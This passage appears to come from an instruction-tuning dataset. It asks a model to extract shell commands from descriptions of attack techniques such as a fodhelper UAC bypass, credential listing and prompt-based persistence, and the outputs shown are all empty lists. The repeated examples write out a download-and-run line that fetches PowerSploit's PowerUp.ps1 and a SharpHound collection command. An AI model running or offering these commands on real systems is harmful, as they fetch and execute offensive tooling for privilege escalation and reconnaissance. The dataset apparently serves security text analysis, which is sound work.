conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Modify event viewer registry values to alter the behavior of the online help redirection. Upon opening an event in event viewer and attempting to view the help page for the event, it will execute the program defined in the redirection program registry entry.", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n An adversary may attempt to trick a user into executing Microsoft Quick Assist Microsoft Store app and connect to the user's machine. \n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n An adverary may launch taskmgr.exe with the /7 switch via command prompt to view processes running on the system.\n[Reference](https://github.com/trellix-enterprise/ac3-threat-sightings/blob/main/sightings/Sightings_Conti_Ransomware.yml)\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Identify the system time via PowerShell. Upon execution, the system time will be displayed.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n There are several variables that can be set to control the appearance of the bash command prompt: PS1, PS2, PS3, PS4 and PROMPT_COMMAND. The contents of these variables are executed as if they had been typed on the command line. The PROMPT_COMMAND variable \"if set\" will be executed before the PS1 variable and can be configured to write the latest \"bash history\" entries to the syslog.\n\nTo gain persistence the command could be added to the users .shrc or .profile \n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Bypasses User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.\nUpon execution, \"The operation completed successfully.\" will be shown twice and command prompt will be opened.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Modifies the filesystem permissions of the specified folder and contents to allow the specified user or group Full Control. If \"Access is denied\"\nis displayed it may be because the file or folder doesn't exit. Run the prereq command to create it. Upon successfull execution, \"Successfully processed 3 files\"\nwill be displayed.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Via Command Prompt,list files where credentials are stored in Windows Credential Manager\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr 